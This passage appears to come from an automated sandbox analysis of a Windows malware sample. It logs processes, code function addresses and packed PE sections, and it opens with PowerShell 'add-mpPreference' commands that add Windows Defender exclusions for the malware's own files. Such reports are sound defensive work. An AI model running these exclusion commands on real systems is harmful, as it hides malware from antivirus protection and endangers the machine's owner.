Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03376252 NtdllDefWindowProc_A,

56_2_03376252

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_03375FFA: DeviceIoControl,

56_2_03375FFA

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_02CBDC34	7_2_02CBDC34
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053C6E90	7_2_053C6E90
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053C0013	7_2_053C0013
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053C0040	7_2_053C0040
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053C6E80	7_2_053C6E80
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053CD937	7_2_053CD937
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_053CD948	7_2_053CD948
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_08EB0D98	7_2_08EB0D98
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_0A660040	7_2_0A660040
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_0A66A920	7_2_0A66A920
Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe	Code function: 7_2_0A662DF0	7_2_0A662DF0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_008695C1	56_2_008695C1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0338110C	56_2_0338110C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_03380538	56_2_03380538
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_03396654	56_2_03396654
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033AE88C	56_2_033AE88C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033A1D50	56_2_033A1D50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0037B890	71_2_0037B890
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003720F0	71_2_003720F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0036A132	71_2_0036A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003D0130	71_2_003D0130
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00384170	71_2_00384170
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003DA140	71_2_003DA140
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0036A132	71_2_0036A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003BA340	71_2_003BA340
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0038E590	71_2_0038E590
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0038F5D0	71_2_0038F5D0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_005E85B0	71_2_005E85B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00370620	71_2_00370620
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003B66B0	71_2_003B66B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003836A0	71_2_003836A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003976C0	71_2_003976C0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003BA7B0	71_2_003BA7B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003959E0	71_2_003959E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00379A20	71_2_00379A20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00392A9D	71_2_00392A9D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_003D8C20	71_2_003D8C20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00389D10	71_2_00389D10
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_0036A132	71_2_0036A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00361F10	71_2_00361F10
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00376F90	71_2_00376F90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2587	73_3_031D2587
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D2AFE	73_3_031D2AFE
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E7B	73_3_031D1E7B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 73_3_031D1E63	73_3_031D1E63

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: String function: 0339565C appears 36 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00369DB0 appears 70 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00373380 appears 47 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00397140 appears 140 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00373610 appears 43 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 005ED1E8 appears 58 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00396FB0 appears 191 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00363850 appears 34 times

Source: [space]= .tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: [space]= .tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-NNSLF.tmp.22.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-NNSLF.tmp.22.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-719F1.tmp.22.dr	Static PE information: Resource name: RT_BITMAP type: DOS executable (COM)
Source: is-719F1.tmp.22.dr	Static PE information: Resource name: RT_STRING type: COM executable for DOS
Source: is-719F1.tmp.22.dr	Static PE information: Resource name: RT_RCDATA type: COM executable for DOS

Source: is-1I5NJ.tmp.22.dr	Static PE information: Number of sections : 18 > 10
Source: is-719F1.tmp.22.dr	Static PE information: Number of sections : 13 > 10
Source: is-67IFD.tmp.22.dr	Static PE information: Number of sections : 11 > 10
Source: ffws.exe.56.dr	Static PE information: Number of sections : 11 > 10
Source: is-9U2JI.tmp.22.dr	Static PE information: Number of sections : 13 > 10

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"

Source: [space]= .exe.6.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: is-9U2JI.tmp.22.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: is-719F1.tmp.22.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: is-9U2JI.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0016526442307692
Source: is-9U2JI.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-9U2JI.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0007161458333333
Source: is-9U2JI.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-9U2JI.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0003823138297872
Source: is-719F1.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0017903645833333
Source: is-719F1.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-719F1.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0008680555555556
Source: is-719F1.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-719F1.tmp.22.dr	Static PE information: Section: ZLIB complexity 1.0003551136363635

Source: [space]= .exe.6.dr, Settings.cs

Base64 encoded string: 